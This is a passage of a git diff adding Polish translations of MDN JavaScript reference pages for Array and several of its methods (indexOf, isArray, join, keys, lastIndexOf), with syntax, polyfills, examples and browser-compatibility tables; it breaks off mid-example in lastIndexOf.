+<pre class="brush: js line-numbers language-js"><code class="language-js"><span class="keyword token">var</span> płytkaKopia <span class="operator token">=</span> owoce<span class="punctuation token">.</span><span class="function token">slice</span><span class="punctuation token">(</span><span class="punctuation token">)</span><span class="punctuation token">;</span> <span class="comment token">// tak się tworzy kopię</span>
+<span class="comment token">// ["Truskawka", "Mango"]</span></code>
+</pre>
+
+<h2 id="Tworzony_przez" name="Tworzony_przez">Składnia:</h2>
+
+<pre class="syntaxbox"><code>[<var>element0</var>, <var>element1</var>, ..., <var>elementN</var>]
+new Array(<var>element0</var>, <var>element1</var>[, ...[, <var>elementN</var>]])
+new Array(długoscTablicy)</code></pre>
+
+<dl>
+ <dt><code>elementN </code></dt>
+ <dd>Lista wartości elementów tablicy. Tablica jest inicjowana z określonymi wartościami jako jej elementami. Długość tablicy (<code>length</code>) odpowiada liczbie jej elementów.</dd>
+ <dt><code>długośćTablicy</code></dt>
+ <dd>Początkowa długość tablicy. Aby móc przetwarzać wartości używamy własności długości tablicy <code>length</code>. Jeśli określona wartość nie jest liczbą, zostanie utworzona tablica jednoelementowa, a jej pierwszy element będzie posiadał ową wartość. Maksymalna długość tablicy wynosi 4,294,967,295 elementów.</dd>
+</dl>
+
+<h2 id="Opis" name="Opis">Opis</h2>
+
+<p>Tablica jest uporządkowanym zbiorem wartości przyporządkowanych ustalonej pojedynczej zmiennej.</p>
+
+<p>Poniższy przykład tworzy obiekt <code>Array</code> przy użyciu literału tablicy. Tablica <code>kawa</code> zawiera trzy elementy i ma długość (<code>length</code>) równą 3:</p>
+
+<pre class="brush: js">kawa = ["mocca", "cappucino", "zbożowa"]
+</pre>
+
+<p>Można utworzyć tzw. zwartą tablicę składającą się z dwóch lub więcej elementów, o początkowym indeksie 0, jeśli poda się początkowe wartości wszystkich elementów. Zwarta tablica to taka, w której każdy element posiada wartość. Poniższy kod tworzy zwartą tablicę o trzech elementach:</p>
+
+<pre class="brush: js">myArray = new Array("Hello", myVar, 3.14159)
+</pre>
+
+<h3 id="Dost.C4.99p_do_element.C3.B3w_tablicy" name="Dost.C4.99p_do_element.C3.B3w_tablicy">Dostęp do elementów tablicy</h3>
+
+<p>Do elementów tablicy odwołujemy się po ich liczbie porządkowej (zaczynając od zera). Przykładowo, jeśli mamy zdefiniowaną tablicę:</p>
+
+<pre class="brush: js">mojaTablica = new Array("Wiatr","Deszcz","Ogień")
+</pre>
+
+<p>Do pierwszego elementu odwołujemy się poprzez <code>mojaTablica[0]</code>, a do drugiego poprzez <code>mojaTablica[1]</code>.</p>
+
+<h3 id="Podawanie_pojedynczego_parametru" name="Podawanie_pojedynczego_parametru">Podawanie pojedynczego parametru</h3>
+
+<p>Jeśli konstruktor <code>Array</code> zostanie wywołany z pojedynczym parametrem liczbowym, parametr ten zostanie uznany za początkową długość tablicy. Poniższy kod tworzy tablicę pięciu elementów:</p>
+
+<pre class="brush: js">rodzajPlatnosci = new Array(5)
+</pre>
+
+<p>Zachowanie konstruktora <code>Array</code> zależy od tego, czy jedyny parametr jest liczbą.</p>
+
+<ul>
+ <li>Jeśli jedyny parametr jest liczbą, konstruktor konwertuje tę liczbą do 32-bitowej liczby całkowitej bez znaku i tworzy tablicę o długości (liczbie elementów, <code>length</code>) równej tej liczbie. Tablica początkowo nie zawiera żadnych elementów, mimo że ma niezerową długość.</li>
+ <li>Jeśli parametr ten nie jest liczbą, tworzona jest tablica o długości 1, a parametr ten staje się jej pierwszym elementem.</li>
+</ul>
+
+<p>Poniższy kod tworzy tablicę o długości 25, a następnie przypisuje wartości pierwszym trzem elementom:</p>
+
+<pre class="brush: js">rodzajeMuzyki = new Array(25)
+rodzajeMuzyki[0] = "R&amp;B"
+rodzajeMuzyki[1] = "Blues"
+rodzajeMuzyki[2] = "Jazz"
+</pre>
+
+<h3 id="Po.C5.9Brednie_zwi.C4.99kszanie_d.C5.82ugo.C5.9Bci_tablicy" name="Po.C5.9Brednie_zwi.C4.99kszanie_d.C5.82ugo.C5.9Bci_tablicy">Pośrednie zwiększanie długości tablicy</h3>
+
+<p>Długość tablicy wzrasta samoczynnie, jeśli elementowi o indeksie wyższym niż obecna długość zostanie przypisana wartość. Poniższy kod tworzy tablicę o zerowej długości, a następnie przypisuje do niej 99. element. W wyniku długość tablicy zostaje zmieniona na 100.</p>
+
+<pre class="brush: js">kolory = new Array();
+kolory[99] = "ciemnoniebieski";
+</pre>
+
+<h3 id="Tworzenie_tablicy_z_wynik.C3.B3w_wyra.C5.BCenia_regularnego" name="Tworzenie_tablicy_z_wynik.C3.B3w_wyra.C5.BCenia_regularnego">Tworzenie tablicy z wyników wyrażenia regularnego</h3>
+
+<p>Wynik porównania pomiędzy regularnym wyrażeniem a łańcuchem znaków może utworzyć tablicę. Ta tablica ma własności i elementy, które przekazują informacje dotyczące porównania. Tablica jest wartością zwracaną przez <code>RegExp.exec</code>, <code>String.match</code> i <code>String.replace</code>. Aby zrozumieć te własności spójrz na poniższy przykład odwołując się do poniższej tabeli:</p>
+
+<pre class="brush: js">//Porównuje łańcuch znaków złożony z jednego 'd' następnie kilku 'b' a następnie jednego 'd'
+//Zapamiętuje porównane 'b' i następujące 'd'
+//Ignoruje wielkość liter
+
+mojRe=/d(b+)(d)/i;
+mojaTablica = mojRe.exec("cdbBdbsbz");
+</pre>
+
+<p>Własności i elementy zwracają wartości z poniższej tabeli:</p>
+
+<table class="fullwidth-table">
+ <tbody>
+ <tr>
+ <td class="header">Własność/Element</td>
+ <td class="header">Opis</td>
+ <td class="header">Przykład</td>
+ </tr>
+ <tr>
+ <td><code>input</code></td>
+ <td>Wartość tylko-do-odczytu, opisująca oryginalny łańcuch znaków, do którego porównano wyrażenie regularne.</td>
+ <td>cdbBdbsbz</td>
+ </tr>
+ <tr>
+ <td><code>index</code></td>
+ <td>Własność tylko-do-odczytu, będąca indeksem (zaczynając od 0) porównanego znaku w łańcuchu znaków.</td>
+ <td>1</td>
+ </tr>
+ <tr>
+ <td><code>[0]</code></td>
+ <td>Element tylko-do-odczytu, zawierający ostatnio porównane znaki.</td>
+ <td>dbBd</td>
+ </tr>
+ <tr>
+ <td><code>[1], ... [n]</code></td>
+ <td>Elementy tylko-do-odczytu, zawierające podobne podłańcuchy znaków, zawarte w wyrażeniu regularnym. Liczba możliwych podłańcuchów jest nieskończona.</td>
+ <td>[1]: bB<br>
+ [2]: d</td>
+ </tr>
+ </tbody>
+</table>
+
+<h2 id="Własności">Własności</h2>
+
+<dl>
+ <dd>
+ <dl>
+ <dt>{{jsxref("Array.length")}}</dt>
+ <dd>Odzwierciedla ilość elementów tablicy.</dd>
+ <dt>{{jsxref("Array.prototype")}}</dt>
+ <dd>Pozwala na dodawanie własności do wszystkich obiektów.</dd>
+ </dl>
+ </dd>
+</dl>
+
+<h2 id="Metody" name="Metody">Metody</h2>
+
+<dl>
+ <dt>{{jsxref("Array.from()")}} {{experimental_inline}}</dt>
+ <dd>Tworzy nową instancję <code>Array</code> z obiektu podobnego do tablicy lub iterowalnego.</dd>
+ <dt>{{jsxref("Array.isArray()")}}</dt>
+ <dd>Zwraca true, jeśli zmienna jest tablicą, jeśli nie false.</dd>
+ <dt>{{jsxref("Array.observe()")}} {{experimental_inline}}</dt>
+ <dd>Asynchronicznie obserwuje zmiany w tablicach, podobnie jak {{jsxref ("Object.observe ()")}} dla obiektów. Zapewnia strumień zmian w kolejności występowania.</dd>
+ <dt>{{jsxref("Array.of()")}} {{experimental_inline}}</dt>
+ <dd>Tworzy nową instancję Array ze zmienną liczbą argumentów, niezależnie od liczby lub rodzaju argumentów.</dd>
+</dl>
+
+<h2 id="Przykłady">Przykłady</h2>
+
+<h3 id="Przyk.C5.82ad_Tworzenie_tablicy" name="Przyk.C5.82ad:_Tworzenie_tablicy">Przykład: Tworzenie tablicy</h3>
+
+<p>Poniższy kod tworzy tablicę <code>msgArray</code> o długości 0, a następnie przypisuje wartości do <code>msgArray[0]</code> i <code>msgArray[99]</code>, zwiększając długość tablicy do 100.</p>
+
+<pre class="brush: js">msgArray = new Array()
+msgArray[0] = "Witaj,"
+msgArray[99] = "świecie"
+// Poniższy warunek jest spełniony,
+// ponieważ zdefiniowano element msgArray[99].
+if (msgArray.length == 100)
+ myVar="Długość tablicy jest równa 100."
+</pre>
+
+<h3 id="Przyk.C5.82ad_Tworzenie_tablicy_dwuwymiarowej" name="Przyk.C5.82ad:_Tworzenie_tablicy_dwuwymiarowej">Przykład: Tworzenie tablicy dwuwymiarowej</h3>
+
+<p>Poniższy kod tworzy tablicę dwuwymiarową i przypisuje wyniki do zmiennej <code>myVar</code>.</p>
+
+<pre class="brush: js">myVar="Test tablicy wielowymiarowej; "
+a = new Array(4)
+for (i=0; i &lt; 4; i++) {
+ a[i] = new Array(4)
+ for (j=0; j &lt; 4; j++) {
+ a[i][j] = "["+i+","+j+"]"
+ }
+}
+for (i=0; i &lt; 4; i++) {
+ str = "Wiersz "+i+":"
+ for (j=0; j &lt; 4; j++) {
+ str += a[i][j]
+ }
+ myVar += str +"; "
+}
+</pre>
+
+<p>Poniższy łańcuch znaków będzie przypisany do zmiennej <code>myVar</code> (linie zostały przełamane dla zwiększenia czytelności):</p>
+
+<pre>Test tablicy wielowymiarowej;
+Wiersz 0:[0,0][0,1][0,2][0,3];
+Wiersz 1:[1,0][1,1][1,2][1,3];
+Wiersz 2:[2,0][2,1][2,2][2,3];
+Wiersz 3:[3,0][3,1][3,2][3,3];
+</pre>
+
+<div class="noinclude"></div>
diff --git a/files/pl/web/javascript/referencje/obiekty/array/indexof/index.html b/files/pl/web/javascript/referencje/obiekty/array/indexof/index.html
new file mode 100644
index 0000000000..db63c3384c
--- /dev/null
+++ b/files/pl/web/javascript/referencje/obiekty/array/indexof/index.html
@@ -0,0 +1,95 @@
+---
+title: Array.prototype.indexOf()
+slug: Web/JavaScript/Referencje/Obiekty/Array/indexOf
+tags:
+ - Dokumentacja_JavaScript
+ - Dokumentacje
+ - JavaScript
+ - Wszystkie_kategorie
+translation_of: Web/JavaScript/Reference/Global_Objects/Array/indexOf
+---
+<div>{{JSRef}}</div>
+
+<h2 id="Podsumowanie" name="Podsumowanie">Podsumowanie</h2>
+
+<p>Zwraca pierwszy (najmniejszy) indeks elementu w tablicy równego podanej wartości lub -1, gdy nie znaleziono takiego elementu.</p>
+
+<h2 id="Sk.C5.82adnia" name="Sk.C5.82adnia">Składnia</h2>
+
+<pre class="syntaxbox"><em>array</em>.indexOf(<em>searchElement</em>[,<em> fromIndex</em> = 0]);
+</pre>
+
+<h3 id="Parametry" name="Parametry">Parametry</h3>
+
+<dl>
+ <dt><code>searchElement</code></dt>
+ <dd>Element do znalezienia w tablicy.</dd>
+ <dt><code>fromIndex</code></dt>
+ <dd>Indeks od którego ma zacząć się wyszukiwanie. Domyślnie 0 - przeszukana zostanie cała tablica. Jeżeli indeks będzie większy lub równy ilości elementów tablica nie zostanie przeszukana - funkcja zwróci -1. Jeżeli podana zostanie liczba ujemna zostanie dodany do niej rozmiar tablicy (np. podanie -5 oznacza przeszukiwanie od 5 elementu od końca). Jeżeli tak obliczony indeks jest mniejszy od zera przeszukana zostanie cała tablica. Uwaga, wyszukiwanie dalej będzie się odbywać w kierunku rosnących indeksów.</dd>
+</dl>
+
+<h2 id="Opis" name="Opis">Opis</h2>
+
+<p><code>indexOf</code> porównuje <code>searchElement</code> z elementami tablicy używając <a href="/pl/docs/Web/JavaScript/Referencje/Operatory/Operatory_por%c3%b3wnania#.22U.C5.BCywanie_operator.C3.B3w_por.C3.B3wnania">ścisłego porównania</a> (podobnie jak w przypadku operatora ===).</p>
+
+<h3 id="Kompatybilno.C5.9B.C4.87" name="Kompatybilno.C5.9B.C4.87">Kompatybilność</h3>
+
+<p><code>indexOf</code> jest rozszerzeniem JavaScript dla standardu ECMA-262, więc może nie być obecny w innych implementacjach tego standardu. Można to obejść, dopisując poniższy kod na początku skryptu, zezwalający na użycie <code>indexOf</code> w implementacji ECMA-262, które nie wspierają tego natywnie.</p>
+
+<pre class="brush: js">if (!Array.prototype.indexOf)
+{
+ Array.prototype.indexOf = function(elt /*, from*/)
+ {
+ var len = this.length;
+
+ var from = Number(arguments[1]) || 0;
+ from = (from &lt; 0)
+  ? Math.ceil(from)
+  : Math.floor(from);
+ if (from &lt; 0)
+ from += len;
+
+ for (; from &lt; len; from++)
+ {
+ if (from in this &amp;&amp;
+ this[from] === elt)
+ return from;
+ }
+ return -1;
+ };
+}
+</pre>
+
+<p>Należy zwrócić uwagę, że ta implementacja ma na celu całkowitą zgodność z <code>indexOf</code> występującą w Firefoksie i silniku JavaScript SpiderMonkey, włączając w to przypadki w których przesyłany do <code>indexOf</code> indeks nie jest wartością liczbową. Jeśli masz zamiar wykorzystać przytoczone rozwiązanie w rzeczywistych aplikacjach, możesz nie potrzebować całego powyższego kodu (części odpowiedzialnej za obliczenie wartości <code>from</code>).</p>
+
+<h2 id="Przyk.C5.82ady" name="Przyk.C5.82ady">Przykłady</h2>
+
+<h3 id="Przyk.C5.82ad:_Zastosowanie_indexOf" name="Przyk.C5.82ad:_Zastosowanie_indexOf">Przykład: Zastosowanie <code>indexOf</code></h3>
+
+<p>Następujący przykład stosuje <code>indexOf</code> do znalezienia pierwszego wystąpienia elementów.</p>
+
+<pre class="brush: js">array = [2, 5, 9];
+index = array.indexOf(2);
+// index jest 0
+index = array.indexOf(7);
+// index jest -1
+</pre>
+
+<h3 id="Przyk.C5.82ad:_Wyszukiwanie_wszystkich_wyst.C4.85pie.C5.84_w_tablicy" name="Przyk.C5.82ad:_Wyszukiwanie_wszystkich_wyst.C4.85pie.C5.84_w_tablicy">Przykład: Wyszukiwanie wszystkich wystąpień w tablicy</h3>
+
+<p>Poniższy przykład używa <code>indexOf</code> do znalezienia wszystkich wystąpień elementu w tablicy oraz dodaje ich indeksy do drugiej tablicy używając metody {{jsxref("Array.prototype.push()")}}.</p>
+
+<pre class="brush: js">indices = [];
+idx = array.indexOf(element)
+while (idx != -1) {
+ indices.push(idx);
+ idx = array.indexOf(element, idx + 1);
+}
+</pre>
+
+<h2 id="Zobacz_tak.C5.BCe" name="Zobacz_tak.C5.BCe">Zobacz także</h2>
+
+<ul>
+ <li>{{jsxref("Array.prototype.lastIndexOf()")}}</li>
+ <li>{{jsxref("TypedArray.prototype.indexOf()")}}</li>
+</ul>
diff --git a/files/pl/web/javascript/referencje/obiekty/array/isarray/index.html b/files/pl/web/javascript/referencje/obiekty/array/isarray/index.html
new file mode 100644
index 0000000000..62083e0853
--- /dev/null
+++ b/files/pl/web/javascript/referencje/obiekty/array/isarray/index.html
@@ -0,0 +1,139 @@
+---
+title: Array.isArray()
+slug: Web/JavaScript/Referencje/Obiekty/Array/isArray
+translation_of: Web/JavaScript/Reference/Global_Objects/Array/isArray
+---
+<div>{{JSRef("Global_Objects", "Array")}}</div>
+
+<h2 id="Summary" name="Summary">Podsumowanie</h2>
+
+<p><strong>Array.isArray()</strong> to metoda, która zwraca <code style="font-style: normal; line-height: 23.3333339691162px;">true</code><span style="line-height: 23.3333339691162px;"> </span> jeśli obiekt jest tablicą, fałsz jeśli nie jest.</p>
+
+<h2 id="Syntax" name="Syntax">Składnia</h2>
+
+<pre class="syntaxbox"><code>Array.isArray(<var>obj</var>)</code></pre>
+
+<h3 id="Parameters" name="Parameters">Parametry</h3>
+
+<dl>
+ <dt><code>obj</code></dt>
+ <dd>Obiekt do sprawdzenia</dd>
+</dl>
+
+<h2 id="Description" name="Description">Opis</h2>
+
+<p>Zobacz artykuł  <a href="http://web.mit.edu/jwalden/www/isArray.html">“Determining with absolute accuracy whether or not a JavaScript object is an array”</a> , aby poznać więcej szczegółów.</p>
+
+<h2 id="Examples" name="Examples">Przykłady</h2>
+
+<pre class="brush: js">// poniższe przykłady zwrócą true
+Array.isArray([]);
+Array.isArray([1]);
+Array.isArray(new Array());
+// Mało znany fakt: Array.prototype sam w sobie jest tablicą:
+Array.isArray(Array.prototype);
+
+// poniższe przykłady zwrócą false
+Array.isArray();
+Array.isArray({});
+Array.isArray(null);
+Array.isArray(undefined);
+Array.isArray(17);
+Array.isArray('Array');
+Array.isArray(true);
+Array.isArray(false);
+Array.isArray({ __proto__: Array.prototype });
+</pre>
+
+<h2 id="Polyfill" name="Polyfill">Dostępność wsteczna</h2>
+
+<p>Jeśli metody <span style="font-family: consolas,monaco,andale mono,monospace; line-height: 23.3333339691162px;">Array.isArray() nie jest natywnie dostępna, poniższy kod ją utworzy.</span></p>
+
+<pre class="brush: js">if (!Array.isArray) {
+ Array.isArray = function(arg) {
+ return Object.prototype.toString.call(arg) === '[object Array]';
+ };
+}
+</pre>
+
+<h2 id="Specifications" name="Specifications">Specyfikacja</h2>
+
+<table class="standard-table">
+ <tbody>
+ <tr>
+ <th scope="col">Specyfikacja</th>
+ <th scope="col">Status</th>
+ <th scope="col">Komentarz</th>
+ </tr>
+ <tr>
+ <td>{{SpecName('ES5.1', '#sec-15.4.3.2', 'Array.isArray')}}</td>
+ <td>{{Spec2('ES5.1')}}</td>
+ <td>Wstępna definicja. Implementacja od  JavaScript 1.8.5.</td>
+ </tr>
+ <tr>
+ <td>{{SpecName('ES6', '#sec-array.isarray', 'Array.isArray')}}</td>
+ <td>{{Spec2('ES6')}}</td>
+ <td> </td>
+ </tr>
+ </tbody>
+</table>
+
+<h2 id="Browser_compatibility" name="Browser_compatibility">Zgodność z przeglądarkami</h2>
+
+<div>{{CompatibilityTable}}</div>
+
+<div id="compat-desktop">
+<table class="compat-table">
+ <tbody>
+ <tr>
+ <th>Feature</th>
+ <th>Chrome</th>
+ <th>Firefox (Gecko)</th>
+ <th>Internet Explorer</th>
+ <th>Opera</th>
+ <th>Safari</th>
+ </tr>
+ <tr>
+ <td>Basic support</td>
+ <td>{{CompatChrome("5")}}</td>
+ <td>{{CompatGeckoDesktop("2.0")}}</td>
+ <td>{{CompatIE("9")}}</td>
+ <td>{{CompatOpera("10.5")}}</td>
+ <td>{{CompatSafari("5")}}</td>
+ </tr>
+ </tbody>
+</table>
+</div>
+
+<div id="compat-mobile">
+<table class="compat-table">
+ <tbody>
+ <tr>
+ <th>Feature</th>
+ <th>Android</th>
+ <th>Chrome for Android</th>
+ <th>Firefox Mobile (Gecko)</th>
+ <th>IE Mobile</th>
+ <th>Opera Mobile</th>
+ <th>Safari Mobile</th>
+ </tr>
+ <tr>
+ <td>Basic support</td>
+ <td>{{CompatVersionUnknown}}</td>
+ <td>{{CompatVersionUnknown}}</td>
+ <td>{{CompatGeckoMobile("2.0")}}</td>
+ <td>{{CompatVersionUnknown}}</td>
+ <td>{{CompatVersionUnknown}}</td>
+ <td>{{CompatVersionUnknown}}</td>
+ </tr>
+ </tbody>
+</table>
+</div>
+
+<p>Based on <a href="http://kangax.github.com/es5-compat-table/">Kangax's compat table</a>.</p>
+
+<h2 id="See_also" name="See_also">Zobacz także</h2>
+
+<ul>
+ <li>{{jsxref("Global_Objects/Array", "Array")}}</li>
+</ul>
diff --git a/files/pl/web/javascript/referencje/obiekty/array/join/index.html b/files/pl/web/javascript/referencje/obiekty/array/join/index.html
new file mode 100644
index 0000000000..b4b22afc49
--- /dev/null
+++ b/files/pl/web/javascript/referencje/obiekty/array/join/index.html
@@ -0,0 +1,50 @@
+---
+title: Array.prototype.join()
+slug: Web/JavaScript/Referencje/Obiekty/Array/join
+tags:
+ - Dokumentacja_JavaScript
+ - Dokumentacje
+ - JavaScript
+ - Wszystkie_kategorie
+translation_of: Web/JavaScript/Reference/Global_Objects/Array/join
+---
+<div>{{JSRef}}</div>
+
+<h2 id="Podsumowanie" name="Podsumowanie">Podsumowanie</h2>
+
+<p>Łączy wszystkie elementy tablicy w jeden łańcuch znaków.</p>
+
+<h2 id="Sk.C5.82adnia" name="Sk.C5.82adnia">Składnia</h2>
+
+<pre class="syntaxbox"><code><var>str</var> = <var>arr</var>.join([<var>separator</var> = ','])</code></pre>
+
+<h3 id="Parametry" name="Parametry">Parametry</h3>
+
+<dl>
+ <dt><code>separator</code> </dt>
+ <dd>Określa łańcuch znaków użyty do oddzielenia każdego z elementów tablicy. W razie konieczności separator jest konwertowany do łańcucha znaków. Jeśli parametr zostanie pominięty, elementy tablicy będą rozdzielone za pomocą przecinka.</dd>
+</dl>
+
+<h2 id="Opis" name="Opis">Opis</h2>
+
+<p>Metoda <code>join</code> zmienia w łańcuchy znaków wszystkie elementy tablicy i łączy je w jeden łańcuch znaków.</p>
+
+<h2 id="Przyk.C5.82ady" name="Przyk.C5.82ady">Przykłady</h2>
+
+<h3 id="Przyk.C5.82ad:_.C5.81.C4.85czenie_tablicy_na_trzy_r.C3.B3.C5.BCne_sposoby" name="Przyk.C5.82ad:_.C5.81.C4.85czenie_tablicy_na_trzy_r.C3.B3.C5.BCne_sposoby">Przykład: Łączenie tablicy na trzy różne sposoby</h3>
+
+<p>Poniższy przykład tworzy trzyelementową tablicę <code>a</code> zawierającą trzy elementy, następnie trzykrotnie łączy ją: używając domyślnego separatora, przecinka i spacji oraz znaku plus.</p>
+
+<pre class="brush: js">var a = new Array("Wiatr","Deszcz","Ogień");
+var myVar1 = a.join() // przypisuje "Wiatr,Deszcz,Ogień" do myVar1
+var myVar2 = a.join(", ") // przypisuje "Wiatr, Deszcz, Ogień" do myVar2
+var myVar3 = a.join(" + ") // przypisuje "Wiatr + Deszcz + Ogień" do myVar3
+</pre>
+
+<h2 id="Zobacz_tak.C5.BCe" name="Zobacz_tak.C5.BCe">Zobacz także</h2>
+
+<ul>
+ <li>{{jsxref("String.prototype.split()")}}</li>
+ <li>{{jsxref("Array.prototype.toString()")}}</li>
+ <li>{{jsxref("TypedArray.prototype.join()")}}</li>
+</ul>
diff --git a/files/pl/web/javascript/referencje/obiekty/array/keys/index.html b/files/pl/web/javascript/referencje/obiekty/array/keys/index.html
new file mode 100644
index 0000000000..4ab6d7e18e
--- /dev/null
+++ b/files/pl/web/javascript/referencje/obiekty/array/keys/index.html
@@ -0,0 +1,120 @@
+---
+title: Array.prototype.keys()
+slug: Web/JavaScript/Referencje/Obiekty/Array/keys
+translation_of: Web/JavaScript/Reference/Global_Objects/Array/keys
+---
+<div>{{JSRef}}</div>
+
+<p>Metoda <code><strong>keys()</strong></code> zwraca nowy obiekt typu <code><strong>Array Iterator</strong></code> zawierający indeksy kolejnych elementów tablicy.</p>
+
+<pre class="brush: js">var arr = ['a', 'b', 'c'];
+var iterator = arr.keys();
+
+console.log(iterator.next()); // { value: 0, done: false }
+console.log(iterator.next()); // { value: 1, done: false }
+console.log(iterator.next()); // { value: 2, done: false }
+console.log(iterator.next()); // { value: undefined, done: true }
+</pre>
+
+<h2 id="Składnia">Składnia</h2>
+
+<pre class="syntaxbox"><var>arr</var>.keys()</pre>
+
+<h3 id="Zwracana_wartość">Zwracana wartość</h3>
+
+<p>Nowy iterator dla typu {{jsxref("Array")}}.</p>
+
+<h2 id="Przykłady">Przykłady</h2>
+
+<h3 id="Iterator_nie_ignoruje_dziur">Iterator nie ignoruje dziur</h3>
+
+<pre class="brush: js">var arr = ['a', , 'c'];
+var sparseKeys = Object.keys(arr);
+var denseKeys = [...arr.keys()];
+console.log(sparseKeys); // ['0', '2']
+console.log(denseKeys); // [0, 1, 2]
+</pre>
+
+<h2 id="Specyfikacje">Specyfikacje</h2>
+
+<table class="standard-table">
+ <tbody>
+ <tr>
+ <th scope="col">Specyfikacja</th>
+ <th scope="col">Status</th>
+ <th scope="col">Komentarz</th>
+ </tr>
+ <tr>
+ <td>{{SpecName('ES2015', '#sec-array.prototype.keys', 'Array.prototype.keys')}}</td>
+ <td>{{Spec2('ES2015')}}</td>
+ <td>Pierwsze wystąpienie.</td>
+ </tr>
+ <tr>
+ <td>{{SpecName('ESDraft', '#sec-array.prototype.keys', 'Array.prototype.keys')}}</td>
+ <td>{{Spec2('ESDraft')}}</td>
+ <td> </td>
+ </tr>
+ </tbody>
+</table>
+
+<h2 id="Kompatybilność_z_przeglądarkami">Kompatybilność z przeglądarkami</h2>
+
+<div>{{CompatibilityTable}}</div>
+
+<div id="compat-desktop">
+<table class="compat-table">
+ <tbody>
+ <tr>
+ <th>Feature</th>
+ <th>Chrome</th>
+ <th>Firefox (Gecko)</th>
+ <th>Edge</th>
+ <th>Internet Explorer</th>
+ <th>Opera</th>
+ <th>Safari</th>
+ </tr>
+ <tr>
+ <td>Basic support</td>
+ <td>{{CompatChrome("38")}}</td>
+ <td>{{CompatGeckoDesktop("28")}}</td>
+ <td>{{CompatVersionUnknown}}</td>
+ <td>{{CompatNo}}</td>
+ <td>{{CompatOpera("25")}}</td>
+ <td>{{CompatSafari("7.1")}}</td>
+ </tr>
+ </tbody>
+</table>
+</div>
+
+<div id="compat-mobile">
+<table class="compat-table">
+ <tbody>
+ <tr>
+ <th>Feature</th>
+ <th>Android</th>
+ <th>Chrome for Android</th>
+ <th>Firefox Mobile (Gecko)</th>
+ <th>IE Mobile</th>
+ <th>Opera Mobile</th>
+ <th>Safari Mobile</th>
+ </tr>
+ <tr>
+ <td>Basic support</td>
+ <td>{{CompatNo}}</td>
+ <td>{{CompatNo}}</td>
+ <td>{{CompatGeckoMobile("28")}}</td>
+ <td>{{CompatNo}}</td>
+ <td>{{CompatNo}}</td>
+ <td>8.0</td>
+ </tr>
+ </tbody>
+</table>
+</div>
+
+<h2 id="Zobacz_również">Zobacz również</h2>
+
+<ul>
+ <li>{{jsxref("Array.prototype.values()")}}</li>
+ <li>{{jsxref("Array.prototype.entries()")}}</li>
+ <li>{{jsxref("Iteration_protocols", "Iteratory")}}</li>
+</ul>
diff --git a/files/pl/web/javascript/referencje/obiekty/array/lastindexof/index.html b/files/pl/web/javascript/referencje/obiekty/array/lastindexof/index.html
new file mode 100644
index 0000000000..3a6322d6b4
--- /dev/null
+++ b/files/pl/web/javascript/referencje/obiekty/array/lastindexof/index.html
@@ -0,0 +1,114 @@
+---
+title: Array.prototype.lastIndexOf()
+slug: Web/JavaScript/Referencje/Obiekty/Array/lastIndexOf
+tags:
+ - Dokumentacja_JavaScript
+ - Dokumentacje
+ - JavaScript
+ - Strony_wymagające_dopracowania
+ - Wszystkie_kategorie
+translation_of: Web/JavaScript/Reference/Global_Objects/Array/lastIndexOf
+---
+<div>{{JSRef}}</div>
+
+<h2 id="Podsumowanie" name="Podsumowanie">Podsumowanie</h2>
+
+<p>Zwraca ostatni indeks, pod którym podany element może być znaleziony w tablicy, lub -1 jeśli nie jest obecny. Tablica jest przeszukiwana od końca, zaczynając od indeksu <code>fromIndex</code></p>
+
+<h2 id="Sk.C5.82adnia" name="Sk.C5.82adnia">Składnia</h2>
+
+<pre class="syntaxbox"><code><var>arr</var>.lastIndexOf(<var>searchElement</var>[, <var>fromIndex</var> = arr.length])</code></pre>
+
+<h3 id="Parametry" name="Parametry">Parametry</h3>
+
+<dl>
+ <dt><code>searchElement</code></dt>
+ <dd>Element do znalezienia w tablicy.</dd>
+ <dt><code>fromIndex</code></dt>
+ <dd>Indeks od którego ma zostać rozpoczęte wyszukiwanie od tyłu. Domyślnie jest to długość tablicy, tzn. przeszukana zostanie cała tablica. Jeśli indeks jest większy od lub równy długości tablicy, przeszukana zostanie cała tablica. Jeśli jest ujemny, traktowany będzie jako przesunięcie od końca tablicy. Należy pamiętać, że nawet jeśli indeks jest ujemny, to i tak tablica przeszukiwana jest od końca do początku. Jeśli obliczony indeks jest mniejszy od 0, zwracana jest wartość -1, innymi słowy, tablica nie zostanie przeszukana.</dd>
+</dl>
+
+<h2 id="Opis" name="Opis">Opis</h2>
+
+<p><code>lastIndexOf</code> porównuje <code>searchElement</code> z elementami tablicy używając <a href="/pl/docs/Web/JavaScript/Referencje/Operatory/Operatory_por%c3%b3wnania#.22U.C5.BCywanie_operator.C3.B3w_por.C3.B3wnania">ścisłego porównania</a> (podobnie jak w przypadku operatora ===).</p>
+
+<h3 id="Kompatybilno.C5.9B.C4.87" name="Kompatybilno.C5.9B.C4.87">Kompatybilność</h3>
+
+<p><code>lastIndexOf</code> jest rozszerzeniem JavaScript dla standardu ECMA-262, więc może nie być obecny w innych implementacjach tego standardu. Można to obejść, dopisując poniższy kod na początku skryptu, zezwalający na użycie <code>lastIndexOf</code> w implementacji ECMA-262, które nie wspierają tego natywnie.</p>
+
+<pre class="brush: js">if (!Array.prototype.lastIndexOf)
+{
+ Array.prototype.lastIndexOf = function(elt /*, from*/)
+ {
+ var len = this.length;
+
+ var from = Number(arguments[1]);
+ if (isNaN(from))
+ {
+ from = len - 1;
+ }
+ else
+ {
+ from = (from &lt; 0)
+  ? Math.ceil(from)
+  : Math.floor(from);
+ if (from &lt; 0)
+ from += len;
+ else if (from &gt;= len)
+ from = len - 1;
+ }
+
+ for (; from &gt; -1; from--)
+ {
+ if (from in this &amp;&amp;
+ this[from] === elt)
+ return from;
+ }
+ return -1;
+ };
+}
+</pre>
+
+<p>Należy zwrócić uwagę, że ta implementacja ma na celu całkowitą zgodność z <code>lastIndexOf</code> występującą w Firefoksie i silniku JavaScript SpiderMonkey, włączając w to przypadki skrajne. Jeśli masz zamiar wykorzystać przytoczone rozwiązanie w rzeczywistych aplikacjach, możesz obliczyć <code>from</code> za pomocą mniej skomplikowanego kodu (z pominięciem części instrukcji warunkowych).</p>
+
+<h2 id="Przyk.C5.82ady" name="Przyk.C5.82ady">Przykłady</h2>
+
+<h3 id="Przyk.C5.82ad:_Zastosowanie_lastIndexOf" name="Przyk.C5.82ad:_Zastosowanie_lastIndexOf">Przykład: Zastosowanie <code>lastIndexOf</code></h3>
+
+<p>Poniższy przykład używa <code>lastIndexOf</code> do znalezienia określonych wartości w tablicy.</p>
+
+<pre class="brush: js">array = [2, 5, 9, 2];
+index = array.lastIndexOf(2);
+// index is 3
+index = array.lastIndexOf(7);
